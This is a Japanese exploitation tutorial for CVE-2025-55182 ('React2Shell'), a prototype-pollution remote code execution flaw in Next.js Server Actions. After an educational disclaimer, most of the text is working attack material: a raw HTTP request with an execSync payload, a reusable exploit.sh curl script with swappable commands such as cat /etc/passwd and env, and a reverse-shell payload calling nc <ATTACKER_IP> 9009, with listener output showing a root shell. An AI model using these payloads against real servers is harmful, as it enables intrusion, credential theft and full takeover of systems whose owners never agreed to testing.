
CVE-2025-55182(別名React2Shell)は、React Server Components(RSC)とServer Actionsを使用するNext.jsアプリケーションに影響を与える重大な脆弱性です。
⚠️ 免責事項: このドキュメントは教育およびセキュリティ研究目的のみで提供されています。あなたが所有していない、または明示的なテスト許可を得ていないシステムに対してこれらの技術を不正に使用することは違法です。
CVE-2025-55182(別名 React2Shell)は、以下のものを使用するNext.jsアプリケーションに影響を与える重大な脆弱性です:
攻撃者は、以下を悪用することでサーバー上で**リモートコード実行(RCE)**を達成できます:
__proto__ と constructor を介したプロトタイプ汚染結果: Node.jsプロセスの権限で任意のシステムコマンドが実行される可能性があります。
Next.jsは、クライアントとサーバー間の通信に独自のmultipart/form-dataプロトコルを使用します:
Client (Browser)
↓
[multipart/form-data RSC payload]
↓
Next.js Server
↓
Deserialization + Execution
↓
Response
この脆弱性は次の理由で存在します:
__proto__、constructor)攻撃者は内部オブジェクトのプロパティを変更するペイロードを作成できます:
{
"then": "$1:__proto__:then", // Targets the prototype chain
"_response": {
"_prefix": "malicious code here" // Code injection
}
}
__proto__を悪用することで、攻撃者はJavaScriptオブジェクトのプロトタイプを汚染し、それを継承するすべてのオブジェクトに影響を与えます。
_prefix フィールド内で、攻撃者は次のことを行うJavaScriptコードを注入します:
process.mainModule.require()を介してNode.jsモジュールにアクセスするchild_process モジュールをロードするexecSync()を使用してシステムコマンドを実行するvar res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();
コマンドの結果はエラーレスポンス内に隠されます:
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});
Next.jsはこのエラーをクライアントに返し、コマンド出力はdigestフィールドで確認できます。
# Clone the PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182
# Install Node.js 20
nvm install 20
nvm use 20
# Install dependencies
cd test-server
npm install
npm run dev
サーバーは次の場所でアクセス可能になります:
http://localhost:3000
curl http://localhost:3000/
この時点では、サーバーは正常に動作します。
http://localhost:3000/ にアクセスGETリクエストがインターセプトされます。それをRepeaterタブに送信します:
リクエスト全体を次のペイロードに置き換えます:
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Send をクリック
exploit.sh ファイルを作成します:
#!/bin/bash
TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"
# Build the payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)
# Replace the command
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"
# Send the request
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
-H "Next-Action: x" \
-H "X-Nextjs-Request-Id: b5dce965" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
--data-raw "$PAYLOAD"
実行可能にします:
chmod +x exploit.sh
./exploit.sh
COMMAND="ls -la /"
COMMAND="whoami"
COMMAND="cat /etc/passwd"
COMMAND="netstat -tuln"
COMMAND="env"
完全な対話型シェルアクセスを得るには、リバースシェルを使用します。
ncat -lvnp 9009
またはnetcatを使用:
nc -lvnp 9009
次のコマンドでペイロードを変更します(<ATTACKER_IP> を自分のIPアドレスに置き換えてください):
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"
完全なペイロードは次のようになります:
POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin boot dev etc home lib ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
これでターゲットサーバー上で完全に対話型のシェルを手に入れました。
悪用に成功すると:
digestフィールドに埋め込まれますError: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)